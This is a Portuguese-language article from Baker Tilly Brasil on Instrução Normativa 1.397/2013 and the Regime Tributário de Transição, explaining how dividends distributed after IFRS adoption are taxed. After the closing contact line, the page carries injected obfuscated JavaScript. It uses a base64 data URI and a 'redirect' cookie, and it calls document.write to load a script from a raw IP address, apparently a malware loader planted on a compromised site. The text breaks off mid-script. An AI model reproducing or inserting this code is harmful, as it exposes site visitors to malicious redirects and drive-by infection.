Instrução Normativa 1.397/2013 e o RTT – Regime Tributário de Transição
Este artigo foi elaborado por Juan Blas, gerente de TAX da Baker Tilly Brasil. Fale com o autor: juan.blas@bakertillybrasil.com.br
Sumário
O regime de retenção de Imposto de Renda sobre dividendos e lucros distribuídos a acionistas e quotistas de empresas brasileiras pode sofrer mudanças substanciais. As autoridades fiscais e a Procuradoria-Geral da Fazenda Nacional (PGFN) emitiram documentos que modificam na essência da ideia de que dividendos e lucros distribuídos estariam isentos da referida retenção. Deve-se discutir a legalidade destes entendimentos e analisar até que ponto eles não agridem legislação superior.
Histórico
Até 31 de dezembro de 2007 a legislação fiscal determinava que o lucro, para fins de apuração dos tributos, seria determinado com base na observância dos critérios previstos na legislação societária – Lei nº 6.404/76 – conhecida como lei das Sociedades por Ações – de maneira que o lucro líquido societário era igual o lucro líquido fiscal. Este lucro era então ajustado pelos itens que tivessem tratamento fiscal diferente do contábil (despesas indedutíveis ou dedutíveis em período diferente ao de reconhecimento contábil, receitas isentas, etc.).
A partir de janeiro de 2008, a legislação societária foi alterada de forma significativa com a entrada em vigor da Lei nº 11.638/2007, que iniciou, no Brasil, o processo de adaptação das normas contábeis brasileiras para as normas internacionais, mais conhecidas como Internacional Financial Reporting Standards (IFRS). Essa lei estabelece a neutralidade tributária dos impactos contábeis causados pela aplicações dos IFRSs.
Não obstante essa disposição legal, tais mudanças causaram grande preocupação no mercado Brasileiro, pois as alterações da legislação societária para o padrão internacional poderiam acarretar impactos e reflexos tributários. Diante deste cenário, o legislador brasileiro criou uma alternativa para que se tivesse tempo adequado para análise das mudanças e os impactos delas decorrentes, conhecido como o Regime Tributário de Transição – RTT, criado pela Medida Provisória nº 449, de 2008, destinado a efetivar a neutralidade tributária aos efeitos contábeis decorrentes da adoção dos padrões contábeis internacionais no Brasil.
De forma resumida, o RTT prevê que nenhum ajuste contábil poderia produzir efeitos fiscais de aumento ou redução da base de cálculo dos tributos no Brasil durante a vigência de tal regime.
A situação atual
Decorridos mais de cinco anos do início do RTT, a Secretaria da Receita Federal do Brasil – RFB solicitou à PGFN uma análise do RTT, questionando qual o regime jurídico cabível na distribuição dos lucros e dividendos pagos ou creditados pelas pessoas jurídicas em geral, previsto no art. 10 da Lei nº 9.249, de 26 de dezembro de 1995, hoje isentos de retenção de IR na fonte, no momento de sua distribuição ou declaração.
Na sua análise do assunto, a PGFN entendeu que, para fins de tributação, devem ser observados os conceitos de receita, custos e despesas em conformidade com as normas Brasileiras de contabilidade existentes em 31 de dezembro de 2007, antes da adoção das normas internacionais. Por conta disso, os efeitos decorrentes dos lucros, dividendos e juros sobre capital próprio apurados desde então continuam sujeitos ao regramento vigente anteriormente.
A partir desse entendimento, a Receita Federal emitiu a Instrução Normativa 1.397/2013, em 16 de setembro de 2013, que causou grande apreensão no ambiente empresarial, ao trazer novas – e controversas – disposições acerca do tratamento fiscal a ser despendido para apuração dos lucros, dos dividendos distribuídos e dos juros sobre o capital próprio. As principais disposições desta IN são:
• Para fins de determinação das Receitas, Custos e Despesas, dos Juros sobre o Capital Próprio, bem como dos lucros auferidos no exterior, devem ser observados os critérios contábeis existentes em 31 de dezembro de 2007;
• A diferença a maior apurada entre os dividendos pagos com base no lucro societário seguindo as regras atuais e os calculados com base nas normas contábeis vigentes em 31 de dezembro de 2007 (o denominado lucro fiscal) não estão isentos de retenção de IR na fonte, o que seria aplicado retroativamente desde 2008.
• Fica extinto, a partir de 2014, o Controle Fiscal Contábil de Transição (FCONT); e
• Em substituição ao FCONT, cria-se a Escrituração Contábil Fiscal (“ECF”).
A insegurança jurídica criada pela IN
Tal Instrução Normativa traz grande preocupação às empresas, pois devido à falta de regulamentação mais detalhada, grande parte das empresas vem pagando dividendos com base no lucro societário já ajustado pelas novas regras contábeis internacionais, o que pode gerar a necessidade de aumento da carga tributária em todo o período. Deve ser lembrado que a legislação societária dispõe que, depois de constituídas as reservas aplicáveis, o lucro a ser distribuído é aquele apurado na contabilidade societária.
Além disso, ao dispor sobre a tributação de dividendos e dos juros sobre capital próprio a IN extrapolou sua competência regulando matérias que, a nosso ver, deveriam ter sido modificadas apenas por lei.
Por conta disso, após fortes manifestações contrárias das entidades empresariais e do mercado em geral, a Receita Federal já se pronunciou no sentido de que as disposições da IN não mais devem produzir efeitos retroativamente a 2008; o recolhimento desses tributos tal como determina a IN deverá ser então feito apenas a partir do exercício de 2014.
Por sua importância, acompanharemos de perto o assunto e voltaremos a nos manifestar quando ocorrerem mudanças no panorama acima resumido.
Para saber mais como podemos te ajudar com serviços de Tributos, fale com Fábio Garcia diretor de TAX da Baker Tilly Brasil:fabio.garcia@bakertillybrasil.com.br (“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘